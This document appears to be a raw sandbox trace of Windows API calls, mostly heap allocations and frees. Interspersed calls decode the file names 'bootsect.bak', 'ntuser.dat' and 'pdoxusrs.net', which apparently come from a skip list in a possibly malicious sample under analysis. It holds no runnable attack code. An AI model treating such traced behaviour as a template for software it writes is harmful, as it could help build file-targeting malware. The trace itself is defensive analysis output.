0x630000 [0066.766] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x5e) returned 0x685f30 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6925f8 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692618 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x51) returned 0x685f30 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.766] GetProcessHeap () returned 0x630000 [0066.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x692600, cbMultiByte=12, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="bootsect.bak\\\x19c") returned 12 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x6a2338 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692498 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692618 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a2338, Size=0xca) returned 0x69e080 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692638 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692498 | out: hHeap=0x630000) returned 1 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x692838 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69e080, Size=0xbc) returned 0x685f30 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664f38 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664e18 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.767] GetProcessHeap () returned 0x630000 [0066.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa0) returned 0x685f30 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692838 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692618 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x97) returned 0x685f30 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692638 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692838 | out: hHeap=0x630000) returned 1 [0066.768] GetProcessHeap () returned 0x630000 [0066.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.768] GetProcessHeap () returned 0x630000 [0066.769] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692778 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x8e) returned 0x685f30 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692618 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x81) returned 0x685f30 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692778 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x74) returned 0x685f30 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x6e) returned 0x685f30 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692458 [0066.769] GetProcessHeap () returned 0x630000 [0066.769] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x66) returned 0x685f30 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664f38 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692458 | out: hHeap=0x630000) returned 1 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6926b8 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x5e) returned 0x685f30 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692638 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x51) returned 0x685f30 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692618 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692638 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x46) returned 0x685f30 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.770] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x692620, cbMultiByte=10, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="ntuser.datak\\\x19c") returned 10 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x6a2178 [0066.770] GetProcessHeap () returned 0x630000 [0066.770] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692778 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6927f8 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a2178, Size=0xca) returned 0x69e308 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6926b8 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x692778 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69e308, Size=0xbc) returned 0x685f30 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x664e18 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664e18 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.771] GetProcessHeap () returned 0x630000 [0066.771] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664e18 | out: hHeap=0x630000) returned 1 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa5) returned 0x685f30 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665040 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x665100 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xa0) returned 0x685f30 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692778 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6927f8 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x97) returned 0x685f30 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6925f8 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692638 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x8e) returned 0x685f30 [0066.772] GetProcessHeap () returned 0x630000 [0066.772] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692778 [0066.772] GetProcessHeap () returned 0x630000 [0066.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692638 | out: hHeap=0x630000) returned 1 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x81) returned 0x685f30 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6925f8 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6926b8 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x74) returned 0x685f30 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe) returned 0x664f38 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x6e) returned 0x685f30 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665100 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664f38 | out: hHeap=0x630000) returned 1 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692778 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x66) returned 0x685f30 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x665040 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665100 | out: hHeap=0x630000) returned 1 [0066.773] GetProcessHeap () returned 0x630000 [0066.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x692778 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x5e) returned 0x685f30 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6927f8 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665040 | out: hHeap=0x630000) returned 1 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692778 | out: hHeap=0x630000) returned 1 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6926b8 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x51) returned 0x685f30 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x692498 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6927f8 | out: hHeap=0x630000) returned 1 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6926b8 | out: hHeap=0x630000) returned 1 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6925f8 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x46) returned 0x685f30 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x692638 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692498 | out: hHeap=0x630000) returned 1 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x6925f8 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0x39) returned 0x685f30 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6925f8 | out: hHeap=0x630000) returned 1 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x685f30 | out: hHeap=0x630000) returned 1 [0066.774] GetProcessHeap () returned 0x630000 [0066.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x692618 | out: hHeap=0x630000) returned 1 [0066.774] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x692640, cbMultiByte=12, lpWideCharStr=0x19ed68, cchWideChar=2047 | out: lpWideCharStr="pdoxusrs.net\\\x19c") returned 12 [0066.775] GetProcessHeap () returned 0x630000 [0066.775] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd4) returned 0x6a16f8 [0066.775] GetProcessHeap () returned 0x630000 